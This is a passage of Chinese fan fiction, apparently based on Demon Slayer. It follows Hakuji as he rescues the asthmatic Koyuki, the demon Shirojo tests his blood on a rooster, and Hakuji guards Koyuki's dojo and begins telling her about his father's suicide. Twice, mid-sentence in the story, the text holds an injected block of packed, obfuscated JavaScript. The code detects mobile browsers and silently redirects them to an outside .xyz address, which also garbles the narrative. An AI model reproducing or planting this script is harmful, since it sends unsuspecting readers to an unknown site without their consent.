街巷里喧闹声不止,路过三个小孩正用石头在地上画着格子在跳,空气里弥漫着团子的香气。 狛治听着白城清澈透亮的笑,觉得自己还会再来买这个丸子的。 9. 恋雪 “田岛先生,真的不可以再走了。” 狛治与穿着樱粉色和服的少女擦肩而过,鼻尖嗅到一丝熟悉的草药苦味。 “我很不舒服,能休息一下吗?”少女被少年抓着手兴冲冲地往人堆里扎,踉踉跄跄地低声哀求着。声音轻轻柔柔,带着点气音。 “脸色惨白,额角冒汗,”狛治排在糕点铺长队队尾,收回视线,往前走了一步,心想,“呼吸也不太对劲。” 城南最近新开了糕点铺,生意火爆,狛治想着带点回去给白城尝尝。 名叫田岛的少年脑侧扎了个单马尾,黑色的刘海垂在颊两侧,不耐烦的声音隐隐约约飘来,“什么呀,这才刚进城。不要扫兴好吗。” 两人走远,混入了人群中。 “您的糖糕请拿好。”店家把糕点递给狛治。 狛治回神接过,从荷包里掏出两文钱来,“谢谢。” 提着糕点,抄近道,回町奉行所。 七拐八弯进小巷,闹市沸腾的人声一下子就小了。于是微弱的、急促的、尖锐的、几近窒息的喘息声就格外明显。 有人倒在了巷子里。 樱粉色和服落在地上一团,阴暗潮湿的苔藓蹭在上面,像是被蛛网黏住的蝴蝶。 有点眼熟,刚才见过。 她的同伴呢? 狛治左右打量了一下,没有看到人影。 放着不管的话……会死的吧。 “咳…咳…咳…”女孩勉力靠墙坐着,瘦弱的身躯躬下腰来,一连串剧烈的咳嗽,骨架都要散架,白色的帕子捂在嘴边,生理性的眼泪顺着睫毛落下苍白削瘦的脸颊。 狛治走到少女身边,低头看她,昏暗的巷子把一切都隐藏在阴影里。 要救吗? 换在以前,狛治是不会管这种麻烦事的。 对曾经的狛治来说,只要父亲能活着,其他的怎么样都好。 他本就在泥潭里,自身不保。 可要是救了她,白城会开心的吧…… 这一点迟疑,让女孩的手爬上狛治的袖口,“救救我……” 求生的本能驱使着女孩的手攥得死紧。 狛治低头看她的手。 纤细的,细腻的,孱弱的,轻轻振袖就能抖落的。 “咳咳咳,救我……” 猛得爆发出的一连串剧烈咳嗽让狛治重新望向女孩。 女孩右手揪紧胸口的衣料,像被什么重物压住一样,声音急促而低哑,意识已经有些恍惚, “哈……哈……” 每一次呼吸都像是被水扼住喉咙,肩膀剧烈起伏,纤细脖颈的青筋微微绷起,泪花呛出眼眶,她竭力张大嘴巴呼吸,却只能发出破碎的气音。 挣扎空隙,她努力睁开了眼。 樱粉色的花瞳盈着水光,像是初春三月的芳菲。 她笑了。 星子般的眼眸弯了弯,生理性的泪水还盈在眼眶里,是很歉意很自责的笑。 笑得很丑。 就像……父亲那样。 小巷很暗,不见天光,让狛治又想到了那天正午。 那个阳光没有透进的屋子里,悬在房梁上冰冷的尸体。 一个两个,生病了就去好好养病啊。 自责什么? 狛治暗骂一声,半跪在地,膝盖碾上苔藓淤泥,弯腰拆开她的腰带,拉开和服背后的伊达结,降低她呼吸的阻力,一手搂在她腰间,一手兜住她膝弯,把人打横抱在怀里,掉头大步往医馆跑。 新买的糕点孤零零地落在巷尾。 “听着,看我,不要害怕,调整呼吸。” 由于缺氧天旋地转灰蒙蒙的世界里,一直有人在沉声安慰,“呼——吸——对,你不会有事的。” 少女蜷缩在男孩的怀里,落在手臂外的白皙小腿随着狛治奔跑的频率一嗒一嗒的。 头顶突突有鎹鸦盘旋,漆黑的翅膀扇动着发出怪叫。 少年大步奔跑着,周围的建筑都幻化成虚影,感受着胸口愈来愈急促的呼吸,袖子被风吹得鼓鼓作响。 医馆的方向,终点的父亲好像才刚刚打好绳结,还没把脆弱的脖子送进死神的手里。 砰地闯进医馆,狛治把少女放在床榻上,扶着少女的背辅助她呼吸,高声对着医者让出位置,“她呼吸不过来了!救救她!” 医者立马开始急救。 狛治被挤到一边。 白色衣服的医者在匆匆抓药,屋外阳光刺眼,站在门扉的阴影里,耳边全是自己急促的喘息。 狛治看向房梁的虚空,仿佛自己冲回家,把老爸从绳结上抱下来,那时躯体还是温热的,脖侧的脉搏还在跳动。 他会按压老爸的胸膛,一下,两下。 第三下的时候老爸的眼皮会抖,而后在床榻上悠悠转醒,对自己歉意一笑,说:“狛治,你回来啦……” “对不起,让你担心了。” 一会是老爸的笑,一会是从怀里掉落的鳗鱼饭,一会是已经吊到冷硬的身体。 幻想和现实交织在一块,狛治的手脚都有些发凉。 “幸好你来得早,”医者的声音把狛治拉回现实,“再晚一分钟,可能就救不回来了。” 这回赶上了啊…… 狛治回神,太好了。 女孩闭着眼平躺在床铺上,呼吸平稳,脸色正常,狛治用手探了探她的脉搏,健康的平稳的,虽然有些虚弱,但看起来已经没事了。 “她怎么了?” “缺氧。哮喘耗费大量体力,应该是累得睡着了。”医者眼神里有些责怪,“她身子弱,不能见风,你不应该带她出门的。” “我回去开两副药,晚上可能会发烧,你要注意一点。” “好。”狛治没有反驳。 医馆还有患者,没让狛治久留,付了医药费,就要离开。 出门前,狛治笼住女孩,微微低头,白色睫毛半垂,专注地看着女孩背后,重新把她伊达结和腰带系好,又把和服理齐。 “失礼了。” 低声道完歉,才把女孩背到背上。 直到这时才发现少女像一片云一样,轻得不像话。 好瘦。 狛治心想,松了松手指,把女孩往背上再托了托,调整了一下位置,让女孩的脸往内侧偏偏,防止被阳光晒到。 女孩下巴枕在狛治肩上,鬓侧的刘海因为低头轻轻挠在狛治脸上,狛治有些生硬地偏了偏头。 回到小巷的时候,糕点还在地上放着。 狛治用脚尖抵着束着油纸的绳结,把糕点勾起,而后转到手上,背着女孩往町奉行所走。 穿过庭院,走进客房,狛治把人安置在榻榻米上,而后从衣柜里翻出布团,在地上铺好,再把女孩抱了上去,而后轻轻把旁边的被子拉到女孩身上。 做完一切后,轻手轻脚地拉上房门,从旁边找了个木盆,去私井打水。 期间拎起糕点看了一眼,油纸底下脏了,不好再给奉行大人送去了。 狛治去水井的路上想,明天再给他重新买一份吧。 与此同时,在私室里,白城撸着袖子,跟一个公鸡小眼瞪大眼。 公鸡是让小黑捆好送来的。 白城深呼吸,做了近乎三分钟的心理建设,终于用指尖碰上了公鸡的羽毛。 公鸡挣了挣,但或许觉得白城摸得很舒服,头点了点,而后又不动弹了。 烛火在一旁跃动着,锃光发亮的银针放在软布上。 白城用火焰烤过银针,而后一手轻轻拢住公鸡的脖子。 左手拇指按住上喙、食指顶住下喙,掌心握住鸡的脑袋,能感受到它脆弱的头骨,一起一伏地颤动着。 这是白城第一次处理活物。 他掌控着它的生命。 鸡的体温顺着掌心往身体涌去,他却感受到了一种刻在基因里的名为物竞天择的残忍。 用火炙烤过的针尖扎破手指,红色的鲜血滴入鸡嘴前一秒。 非比寻常的腥味让鸡开始奋力扇动翅膀,咯咯直叫。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16543977|186700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 但白城沉着眼,把它握得很死,手臂发力把它牢牢地摁在桌上。 周围的人都清退了,屋里很静,没有旁人。 一滴鲜红的血滴落在鸡嘴里。 很安静。 安静到只有蜡油滚落的声音。 一秒,鸡的身体鼓成气球般大小,人和鸡凸起的眼球对视着。 两秒,眼球从眼眶里掉出来,咕噜噜从书案滚落到地。 三秒。 嘭!骨头血肉和鸡毛在眼前炸了个满地。 手被滚烫的血淋得赤红,鲜活的还在跳动的肉块溅了他满身,连墙上都有粘连着血肉的白色脂肪。 羽毛从空中慢悠悠地落下,血腥味溢满了屋子,白城强压着颤抖的呼吸,捻下挂在自己睫毛上的一块黏糊糊的肉块来。 白色狩衣上全是血,白城脱下外衣,瘫坐在凳子上,脸色很难看。 “怎么了,没事吧?” 门外有人敲门,是狛治。 “没事。”白城听见自己说,心脏还在胸腔里砰砰砰地鼓动着。 狛治鼻尖嗅到一丝血腥味,“要我进来吗?” “不用。”白城的声线难得冷硬。 怎么让他进来,看这满室狼藉。 怎么解释鸡的爆炸。 怎么告诉他,我要把血喂给你,我要把你变成鬼。 告诉他我其实是鬼,是为了利用你才拯救你的。 白城无论如何都无法开口。 门口的声音远去了。 白城半躺在椅背上,阖了阖眼,不住想到了不知现在在哪的黑发男人。 我有一天也会像这只鸡一样被杀死吗? 尸骨无存的,嘭得爆炸。 他自嘲地掀了掀唇角,笑了。 如果被发现,会被吃掉吧。 活生生地,被拆开,吞掉。 白城把衣领揭开往内室走,泡进一早准备好的浴桶里往下缩了缩。 这些天,城里的鎹鸦越来越多了,上次出门看到了癸级鬼杀队队员的身影,可没有传来任何有关柱的消息。 白城压下自己的一切隐忧,沉沉地吐出一口浊气。 与此同时,昏暗的宅邸,温泉池里,血红的眼睛自黑暗里睁开。 他闻到了一丝不属于自己的,奇怪的味道。 哗啦—— 黑色的长发湿漉漉地披在光滑的脊背上,水珠从他苍白的皮肤上滚落,无惨披上浴衣,随意跨过地上女人的尸体,遥遥望去。 那个方向,是江户。 “上弦二,过去看看。”他吩咐着最近的下属。 “是。” 白色的足袋轻轻踩在木地板上,狛治想着白城私室里那一丝不寻常的味道,有些心不在焉地捧着大半盆水回到居室。 没等狛治腾出手,一只雪白细长的手轻轻拉开门扉。 “请问——” 狛治闯进了那双樱粉色的花瞳里。 女孩没想到有人在门口,粉嫩的指尖捂住嘴唇,下意识地后退半步。 手掌挡住了尖尖的下巴,许是被子闷出了汗,白皙脸颊两侧晕出两朵粉团,一双向下的细眉舒展着,花瞳盈着点点好奇,抬头向狛治看来。 时间都好像静止了,鸟叫虫鸣一时间听不真切。 “我是恋雪。”她的声音很细,像樱花瓣落在地上,眉眼弯弯地朝泊治看来,“请问您是——” 庭院开阔,日光从天上落下来披在自己身上,两侧松树高耸,庭下白色的石粒模拟成海浪的波涛,黑色的怪石立在其上。 池边水滴落入竹杓,风拂过耳边的碎发。 少年一瞬动心就是永远动心。 砰! 心脏错了一拍。 砰,砰,砰,砰砰砰得仿佛要从胸腔跃出来。 竹杓从左边落到右边,狛治下意识躲开了女孩的视线。 恋雪微微歪头。 “我是狛治。” “这里是町奉行所,不必担心。” 10. 脊背 空气里酝酿着诡异的安静。 少女坐在被褥里,狛治难得跪坐着,眼睛斜落在榻榻米上,显得有些拘谨。 恋雪望着狛治好奇道:“狛治先生,是您救了我吗?” 花瞳大睁着,屋外的日光照着瞳色,亮晶晶的,落在狛治眼里,像是彩霞下盈着朝露的粉樱。 狛治食指不自然地挠了挠脸颊,扭头看着墙壁,“啊,正好遇到了。” “不是什么大事,任何人遇到都会帮忙的吧。” “谢谢你,狛治先生。”恋雪没有顺着狛治的话,不赞同道,“狛治先生是个很善良的人呢。” 善良啊…… 狛治望着房梁上雕刻的花纹,藏了藏衣袖下的手臂,“要不要在町奉行所逛逛?” “欸?可以吗?”少女惊喜地扬了扬微垂的细眉。 “可以的。”狛治起身,“需要我扶你吗?” 恋雪摇摇头,“我可以。” 今天是个艳阳天,阳光直射在木地板上,热度顺着足袋顺着小腿一路升腾到耳后。 恋雪走在前面,白皙纤细的脖颈上是泛着粉色的耳垂,“原本还在想难得出一趟远门,什么都没有看到就要回去了。” “等身体养好了,下次再来就是。”狛治不解。 恋雪驻足。 “怎么了?”狛治问她。 她没有回头,纤细的脖颈微垂,“那就借狛治先生吉言了。” 那一瞬间,狛治像是看到了一只啼血的夜莺。 狛治皱眉看她,“今年不行,还有明年,明年不行,还有大后年。” “身体总能变好的。” 盈盈的花瞳颤颤睁大了,恋雪扭头,细眉蹙着像是被雨雾笼罩的山峦。 过了一会,轻轻摇头,而后只是垂头往前走。 两人又陷入了诡异的静默中,唯有庭院里的鸟儿在树尖叽叽喳喳叫着。 “希望吧。”恋雪轻声说,“谢谢你,狛治先生。” 狛治在她身后,好像看到一丝晶莹剔透的泪。 但女孩低头,食指微微蹭过,就消失不见了。 她在哭吗? 狛治有些无措。 “这里是奉行大人的居所。”路过白城的书房,狛治指给恋雪看,“平日里办公也在这里。” “他今天应该是有什么事情,所以不能亲自出来见你了。” 恋雪也顺势换了个话题,“欸,奉行大人是怎样的人呢?” “晤……”狛治罕见地思考了一会,“温柔的,强大的,敏锐的,聪明的。” “总之是很厉害的人。” “狛治先生笑了呢。”恋雪看着狛治,“一定是对狛治先生来说,很重要的人吧。” 狛治摸了摸腰间的荷包,“嗯,很重要的人。” “狛治先生平时会做些什么呢?”恋雪刚问出口就觉得有些冒昧,连连解释道,“我每天都待在屋子里,也没有什么朋友,所以有些好奇。狛治先生如果不方便说,也没事的。” “我平时也很无聊。”狛治挠头,自认自己的童年应该跟恋雪小姐想的不太一样,“要不要去我的房间看看?就在隔壁。” “如果你不介意的话……” “好呀。” 从白城书房右拐便进了狛治的小院。小院不大,两侧绕着绿荫树,中间开阔无遮挡。 狛治长这么大,还是第一次邀请同龄人进自己居所。 事实上,在恋雪小姐之前,他并没有什么朋友。 打工的豆腐店老板家里倒有一对兄弟,但每每狛治上门帮工的时候,他们总是跳着地上像格子一样的线条,从不拿正眼瞧他。 狛治有些紧张,“这个木桩是奉行大人给我安的,我偶尔会在这里练拳。” “练拳啊……”恋雪悄悄看向狛治的身体。 夏天的衣料很薄,可以轻松看见浴衣下流畅的手臂线条,精炼的肌肉,以及暗含爆发的力量。 她被这双手抱过,她知道那是一种怎样的感觉。 “怎么了?”狛治扭头看她。 “狛治先生,为什么喜欢锻炼呢?”恋雪问他。 狛治近乎果断,没有半点犹疑,“如果不够强的话,就不能保护想要保护的人吧。” 恋雪呆呆地望着狛治。 “怎么了?”狛治问她。 恋雪猝地回神,伸出自己的手握成拳,小臂软趴趴的,“要是我的身体也像狛治先生这么健康就好了。” “我也就可以锻炼了,可以不给别人添太多麻烦……” “想锻炼的话随时可以吧。”狛治说,“我可以陪着你一起。” 恋雪垂眸,黑色的鸦睫挡住了瞳孔的颜色。 “我认真的。”狛治上前半步,“没有办法做打拳这么激烈的运动,可以从走路开始。” “只要你想,身体总能慢慢变好的。” “是这样吗?狛治先生……”恋雪抿着嘴唇,有些怀疑。 “是这样的。”狛治刚说完就后悔了,他怎么能这么大言不惭地在一个病人面前,说什么一定会好的话。 他一路看着老爸生病,他知道病人的身不由己,知道弱者在病榻上的痛苦。 但恋雪小姐笑了,眉眼都弯弯的像月亮,红润的嘴唇勾起,露出饱满的脸颊,“谢谢你,狛治先生。” “你真的是一个很好很好的人。” 不,不是的。 我没有你想象的那么好。 自从被白城捡回家,狛治已经很久没这么想过了。 但在恋雪小姐面前,这个想法像灵巧的蛇一样,从阴暗的角落里吐着信子又冒了出来。 “没有你说的那么好。”狛治挠了挠侧脸。 恋雪眉毛弯了弯,“我看人很准的。” 走进内室,恋雪第一眼就被案上的和纸吸引了,一摞摞和纸上密密麻麻写着狛治二字,“原来狛治先生的名字是这两个字啊。” “还在练习。”狛治问她,“你识字?” “已经很好看了,狛治先生很会写毛笔字呢。”恋雪夸赞道,“我只认识些常用字,母亲以前会用树枝在地上教我。” “我的名字可不是什么常用字。”狛治看她。 恋雪笑了笑,勾出两个可爱的梨涡,“写这么多名字,是想要送给奉行大人吗?” “你怎么知道?” “你看。”恋雪指他案头墙壁上裱好的字,“这白城两个字是奉行大人的名字吧。” “没有落灰,被精心维护地很好。想来是狛治先生很珍惜的字画。” “又看狛治先生练了这么多自己的名字,就想是不是也想当作礼物,送给奉行大人。” 狛治被恋雪的推理惊呆了,“你真的很聪明,恋雪小姐。” 被夸赞了恋雪也不推拒,只是温柔地笑,“奉行大人对于狛治先生来说是什么人呢?” “是恩人,把我从深渊里拉出来,拯救了我的生命的那种。” “真好啊……”恋雪说,“狛治先生有很光明的未来呢。” 那股向上的、生机勃勃的、旺盛的生命力,让恋雪遥望着、艳羡着。 “真好啊……”她徒劳地张开五指,又缓缓合上,低低咳嗽了两声,“对不起,狛治先生。” 狛治把她扶到案边坐下,给她倒了一盏热茶,指尖隔着杯壁确认不烫了才递给恋雪。 恋雪明显有些愕然,而后小声道谢接过,“狛治先生很细心呢。” “嗯,照顾过爸爸很长时间。” “狛治先生的父亲身体也不好吗?” “嗯。”谈到父亲,狛治有些缄默。 “辛苦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16543978|186700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。” “?”狛治不解。 恋雪小口汲着茶水,升腾的热气打湿她的睫毛,“照顾病人是很繁重的工作吧。” 狛治仔细回想了一下,“并没有。” 恋雪没有接话。 于是狛治又补了一句,“明明病人才是最辛苦的那一个吧。” 捧着茶盏的手一颤,恋雪用了些力,才稳住了手。 真的是……很温柔很温柔的人啊。 恋雪看着茶水里自己的倒影,抿唇笑了笑。 “那个……狛治先生,我休息好了。”恋雪把空茶盏端在手上,一时间不知道放在哪。 “给我吧。” “麻烦你了,狛治先生。”恋雪有些歉意,“给您带来了这么多的麻烦。” 狛治摇头,“你能来,我很开心。” “町奉行所里都是大人。”狛治比划,“大家都很忙。” “能遇见你我真的很开心。” “很久没有这样跟人聊天了。” “噢对了,叫我狛治就好。”狛治收好茶盏坐回来,“不用一直用敬语。” “好的,狛治先生。”恋雪小声,“你也是,叫我恋雪就好。” 狛治嘴唇稍稍蠕动了下。 觉得有些干涩。 喉咙发紧,怎么都叫不出口。 第一次见面就叫名字什么的,有些太超过了吧! 可恋雪小姐倒是称呼得很顺口呢。 果然恋雪小姐是个很厉害的人吧。 狛治心想,而后看恋雪小姐不安地调整了一下自己的坐姿。 他很敏锐地往外看看日头,“是不是要回家了?” “嗯。”恋雪点头,“我家离江户有一段距离,要是一直没有回去的话,爸爸会担心的。” “我送你吧。”狛治起身,从柜子里翻出两件羽织,带上些许银两和干粮,打成一个简易的包裹背在身上。 速度之快,恋雪连推辞的话都没有说出口,狛治就已经整装待发了。 “上来。”狛治把包裹调整到胸前,而后在恋雪身前微微蹲下身子。 “欸?”恋雪捂着嘴。 “我背你吧。”狛治说,“我脚程快些。” “不必了……” “还是要在日落前回家比较好。”狛治回头朝她笑笑,“没事的,你很轻。还没沙包重呢。” 恋雪慢慢趴在狛治背上。 宽阔的,坚实的,滚烫的躯体。 狛治先生意外地不会说话。 被比作沙包的时候,恋雪觉得有些冒犯,又觉得有些直白的可爱。 颊侧的头发一不小心垂落下来,她伸手把它别在耳后。 “你可以搂着我的脖子。”狛治说,“小心点,别掉下去。” 有力的,滚烫的手指轻轻托在大腿上。 恋雪蜷缩成拳头无处落下的手指轻轻地落在他肩上,“谢谢你,狛治先生。” 女孩贴在他耳边气吐如兰。 耳朵有些痒。 狛治过了好久才忍耐下来。 “没事的。” “要是没遇到狛治先生,我都不知道该怎样一个人走回去。” 恋雪注意到少年昏暗天光下,宛若赤红的耳垂。 “啊……”恋雪喃喃,猝而意识到她离狛治耳朵太近了,忙地撑起身体,怯怯道,“对不起。” “没事。”狛治把人往上托了托,“不是你的问题,你不用道歉。” 恋雪轻轻把脸颊埋在狛治先生背上。 隔着薄薄的布料听着他胸腔平稳的心跳。 健康的身体…… 真好啊…… 要是我也能有健康的身体就好了…… 如果这样,是不是妈妈就不会死了。 真让人羡慕啊…… 11. 血的气味 “狛治先生,送到这里就可以了。” 晚霞挂在长空,落日隐在山后,一天中最后的微光打在素流道馆的牌匾上。 恋雪脚落在地上,小心翼翼地撑着狛治的肩膀站直身体。 盛夏日头毒辣,狛治流了不少汗。 “狛治先生……要不要进来喝一杯茶。”恋雪食指弯曲又伸直,明显犹豫了很久才鼓起勇气。 “可以吗?”狛治也确实有些渴了,路程比他想象的要短,准备的夜里防风用的羽织都没用上。 恋雪的花瞳视线有些飘忽,被太阳晒红的脸红红的,推开门走进道场,声音低不可闻,“如果是狛治先生的话……” 狛治跟上。 道场不大,庭院开阔,西南方向有一口水井。 狛治打量着周围的环境。 “怎么了,狛治先生?”恋雪回头,看狛治停在一间练习场的门口。 狛治收回视线,“没什么。” “这是练习的屋子。”恋雪歪头解释道,“爸爸和弟子经常会在这间屋子里练习。” “素流?一种拳法吗?”狛治问她,屋内榻榻米的地上没有发现竹刀反复击打后的裂纹。 “嗯,一种空手道……”恋雪思考,“好像说格斗术会更准确一点。爸爸说刀枪容易伤人,所以更喜欢锤炼自己的身体。” 狛治若有所思。 脱下木屐,恋雪半跪在木地板上,回身整理好木屐的位置。 狛治慢她一步,还没等回身处理自己的木屐,只见恋雪纤细柔软雪白的手指勾起自己木屐上的布带。 “不不不不不,我自己来就可以。”狛治近乎扑通一声就跪下了,连忙伸手去勾自己的鞋子。 一时间手忙脚乱,话都咬舌头。 然后就抓住了勾着布带的恋雪小姐的手。 空气静默了一瞬。 明明离得很近,近到能感受到身边人的热量,没人抬头,没人呼吸,两个小娃娃僵在门口,直到一只绿色的蟋蟀蹦蹦跳跳地从庭院走过。 “失礼了。”还是狛治先收回了拢住恋雪小姐的手。 “没事……”恋雪摩挲了一下被少年碰过的指节,拢进袖子里。 两人默默侧过头。 狛治先生的手指很长,指节薄茧,指甲圆润,是温热的,很粗壮的手呢。 恋雪的思维不受控地乱飘。 不对,我在想什么啊? 恋雪摸了摸自己的脸颊,滚烫的。 “怎么了?是不是发烧了?”狛治一直在用余光注视着她,“医生说白天受了凉,晚上可能会发烧。” 恋雪这才感觉脑袋有些晕晕乎乎的。 原来是因为发烧了吗? 所以心跳才会这么快。 “实在麻烦你了,狛治先生。”恋雪乖巧钻进被褥里,“爸爸应该是出去找我了……” “没关系。”狛治拿着水盆去打水。 拉开房门的时候,天边瑰丽的残阳已然落幕,空气里隐约飘着一丝血的气味。 狛治动了动鼻头,弯腰把木盆放在井边,起身去锁好了道场的木门。 “恋雪小姐的父亲呢?”粗壮的指节伴随青筋隆起,狛治跪在盛水的木盆前,把毛巾拧干。 “应该出去找我了。”恋雪轻轻咳嗽了两声,睫毛垂落在脸上打落一层阴影,遮住了掩不住的担忧,“走的时候太匆忙,还没来得及跟父亲说。” “母亲也跟着一块去了吗?”狛治并没有告诉她血腥味的事情。 恋雪摇头,“母亲她……投水自尽了。” 拧着毛巾的手一顿。 “抱歉。” “没关系的。”恋雪摇头。 狛治轻轻拢开她脖后的碎发,把毛巾敷在她雪白的脖颈上,“真的不需要躺下吗?” “我想等爸爸回来。”恋雪朝狛治安慰地笑笑,手指抠在被褥上,明显焦躁不安。 “那我陪你吧。”狛治顺势盘腿坐在门边。 “太晚回去的话不要紧吗?” “没事。”狛治随口道,“习惯了。” “可是家里人会担心吧……” 狛治猝地想到了白城,想到那晚阴冷的监狱牢房,想到点在额间温暖的手,还有那一件轻柔的羽织。 他会担心我吗? 应该会的吧…… 狛治轻轻垂眸,“等恋雪小姐的父亲回来我就走。” “我脚程很快,不用担心。” “实在抱歉,给您添麻烦了。” “如果把恋雪小姐一个人留在家里,才真是给我添麻烦了。”狛治笑了笑,“奉行大人也一定会认同我的做法的。” 关上的房门掩住了屋外愈来愈浓的血腥味,屋内少女偶尔捂嘴低低地咳嗽。 许是觉得室内太安静,恋雪望向狛治,“狛治先生最近在做些什么呢?” “锻炼,练字,读书,去厨房帮工……”狛治半倚在墙壁上,抬头望着天花板思考,而后扭头朝她笑了笑,“总之有很多事情呢。” “有什么很有趣的事情吗?”恋雪的眼底流露出浓浓的兴味,混着一丝不可说的艳羡。 “很多啊……”狛治想着最近跟过去翻天覆地的变化,“城南私塾边的团子铺一直都有很多少爷小姐围着吃。” “我小时候一直眼馋,但舍不得买,前两天跟奉行大人一起去吃了。” “味道怎么样?”恋雪睁大了眼,“我从小肠胃不太好,妈妈从来不让我吃团子那类东西。” “晤……”狛治食指和拇指隔空比出一个团子的大小,捏了捏,“外皮焦焦的,一口咬下去有点脆。里面bia唧bia唧弹弹的。” “有点黏牙,味道带着点甜味,但又不是很甜,是糯米粉的香气。” “奉行大人还蛮喜欢的。” “等你身体好了,我们可以一起去吃。”狛治朝她笑。 “真好啊……” “再往前的话,这次城里的水灾,是我在组织施粥噢。”狛治看着恋雪的花瞳就忍不住多说些。 “欸……施粥。”恋雪这次彻底睁大了眼,睫毛一颤一颤的,“狛治先生吗!好厉害!” 许是少女的目光太过崇拜,狛治下一秒就从脸颊红到脖子,悄悄侧头,把玩着平铺在地上的荷包,“其实也没有啦。” “如果是恋雪小姐的话,也一定能做得更好的。” 狛治并不习惯把话题围绕在自己身上,夸夸其谈让他觉得有些不安,“恋雪小姐呢?平日里喜欢做些什么?” 少女向狛治倾斜的身体一下就僵硬了。 她伸出自己的手心,雪白的,细腻的,孱弱的,浸着草药气的,“一直一直待在这间屋子里噢。” 狛治一怔。 恋雪扬眉朝他温柔地笑。 他却怎么都能看出一丝苦味。 就像被困在那间破败屋子里的父亲那样。 他忍不住抓住了恋雪的手。 死死扣住,仿佛这样,眼前人就不会离自己远去。 “今年夏日祭听说有烟花。”狛治冷不丁地说。 “听起来真美好呢。” “我们一起去吧。” “抱歉……狛治先生。” “为什么?” “再出去的话,爸爸会担心的。”恋雪又咳了咳,歉意地笑笑,“你也看到了。” “那好吧。”狛治让步,而后近乎理所应当地说,“反正日子还长,今年不行,还有后年,后年不行,还有大后年。” 恋雪想要低头,想要蜷回自己的被子里,她觉得睫毛有些痒,眼泪要流出来。 可攥住她的手死紧。 她只能抬头望他。 “恋雪小姐还没看过烟花吧,其实我也没看过。”狛治有些羞郝地挠挠鼻尖,但眼神很郑重,“之后,我们可以一起度过很多很多,很多很多的第一次噢!” 许是少年湛蓝的眼睛像是这方方正正围起的庭院飞鸟掠过的天空,又像是父亲口中那波澜诡谲的大海。 恋雪这一刻,真的忘记了自己孱弱如纸的身体,投入少年描绘中的美好的未来里去。 “咳咳咳咳咳……” 痛苦的,窒息的,像被鱼线绞紧的心肺,被肌肉勉强拉住没有散架的肩膀, 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“怎么了?”狛治压下眉梢,牢牢握住竹竿,一人一竿,抵在门口。 火光把少年的影子拉得很长很长,背后恋雪屋子的门扉透着安心的光。 双方无声对峙着。 田岛道场的弟子一个个散开,从中间让出一条路来,一个穿着黑色武士服的男人,缓步走了出来,“庆藏呢?” “不认识。” 武士气笑了。 “不认识?我儿子跟他女儿跑了,结果天黑都没回来!你说你不认识?” “素山恋雪回来了吗?把她交出来,我儿子去哪了!” 是那个把恋雪小姐,丢在巷子里的人啊。 “他名字叫田岛什么?”狛治冷不丁地问他。 “田岛奎。” “就是那个没有经过庆藏先生同意,强行把恋雪小姐带出门,害得她路上犯了哮喘,把她抛在巷子独自逃走的人吗?” “你见过他?你知道他去哪了?”武士直直揪住狛治的衣领。 狛治啪得把武士的手打落了,“不知道,不认识。” “我遇到的时候,只有恋雪小姐一个人在巷子里。” “说不定……”简单理理领口,狛治扬起一个恶劣的笑来,“已经被鬼吃了。” 武士拔刀就要亮剑。 “你闻不到吗?”狛治动都没动一下,恶意地挑了挑眉梢,清秀圆润的脸扭曲着。 “什么?” 狛治鼻子嗅了嗅,“空气里,血的味道。” “你知道的吧……从很久以前开始,有吃人鬼会在太阳落山后出来。” “现在去找,说不定还能捡回一条命来。” 武士脸色难看,火光印在面部的沟壑上,但他知道狛治没说错。 于是大手一挥,“走,继续去找。” 走之前恶狠狠地回头盯了他一眼,“你最好祈祷他没事。” “不然我让你们一起陪葬!” 狛治一句话都欠奉,关门,落锁。 竹竿轻轻靠在恋雪的门扉边上,腰间的柴刀却没有下下来。 原本躺下的恋雪不知何时已经直起了身子,走前搭在额间的白色毛巾,死死地被攥在掌心里。 “你听到了?” “这个世界上……真的有鬼吗?”恋雪揣揣不安地望着狛治,眼神绝望。 狛治别开视线,把柴刀卸在顺手可以拿到的位置,从她掌心里拨出毛巾来,重新浸入水里搓洗。 “真的有鬼吗?” “血腥味是真的吗?” 毛巾湿哒哒的,狛治拧了又拧。 “狛治先生!”恋雪抓住了狛治的拳头。 两个人都怔了一下,恋雪把手又收了回去。 “抱歉……” “有的。”狛治把毛巾重新轻柔盖回恋雪的额头上,“我的母亲就是被鬼杀死的。” 12. 鬼之子 “我从头开始讲吧。”狛治盘腿靠在墙边,指尖在柴刀刀背上来回滑动着。 铁质的冰冷把思绪带回过去。 “我是被老爸一个人养大的。” “自我记事起,老爸就是个温和磊落的人。” “不屑于阴谋诡计,不贪图蝇头小利,常常挂在嘴边的话就是狛治你要堂堂正正地活下去。” 薄薄的门扉隔着盛夏的暑意,蝉鸣在黑夜里吱吱不息。 “我一直以为老爸就是这样的人。” “直到我打开他留下的最后那封遗书。” “哦对,我爸死了。”狛治抬起手臂,抖了抖浴衣大袖,于是三道青黑色的环状刺青露了出来,“因为我偷窃,所以他自杀了。” 恋雪的手指怜惜地轻点上刺青。 “已经不痛了。”狛治垂下手臂,任由衣袖将其遮住,“可以忍耐。” “老爸身体不好,药费很贵。” “我买不起,所以去偷,去抢。” “老妈在我出生那天被鬼吃了,我跟老爸相依为命。已经失去了老妈,我不能再失去他。” “老爸应该知道的,他理应默许我这么去做。” “但我每一次拿着偷来的钱买药回家,老爸都会大发雷霆。” “我不理解。” 